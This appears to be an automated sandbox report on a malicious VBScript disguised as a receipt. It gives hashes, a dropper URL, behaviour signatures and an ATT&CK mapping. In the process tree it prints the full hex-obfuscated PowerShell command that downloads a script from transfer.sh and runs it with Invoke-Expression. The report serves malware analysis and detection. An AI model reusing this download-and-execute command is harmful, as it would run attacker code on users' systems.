2f70c208c08b5607dda4932a3d29625a52d84aa66c916ce8a867a0c2c57ffc5b

General

Target

Receipt_12203.vbs
Size

1KB
MD5

aa2957c1912b583d18c3fad0a1dbe455
SHA1

4b2ae1f0381d72b3833ab341cc3862b540359c64
SHA256

2f70c208c08b5607dda4932a3d29625a52d84aa66c916ce8a867a0c2c57ffc5b
SHA512

668b3c2be0f926e314bd5b810f79d0b7eac4fcd760108629cfff334c5f5dc0d66ea95f5d04fd47d09b4d910d1dfda1b1a405c008b3be24f420a4155371113a7a

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://transfer.sh/get/dIj4XJ/bypass.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1772 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1772 powershell.exe

pid	process
1772	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1664 wrote to memory of 1772	1664	WScript.exe	powershell.exe
PID 1664 wrote to memory of 1772	1664	WScript.exe	powershell.exe
PID 1664 wrote to memory of 1772	1664	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt_12203.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transferXXXsh/get/dIj4XJ/bypassXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1664-52-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

Filesize
8KB

Download
memory/1772-53-0x0000000000000000-mapping.dmp

Download
memory/1772-55-0x000007FEF28E0000-0x000007FEF343D000-memory.dmp

Filesize
11.4MB

Download
memory/1772-56-0x00000000027E0000-0x00000000027E2000-memory.dmp

Filesize
8KB

Download
memory/1772-58-0x00000000027E4000-0x00000000027E7000-memory.dmp

Filesize
12KB

Download
memory/1772-57-0x00000000027E2000-0x00000000027E4000-memory.dmp

Filesize
8KB

Download
memory/1772-59-0x00000000027EB000-0x000000000280A000-memory.dmp

Filesize
124KB

Download

Analysis

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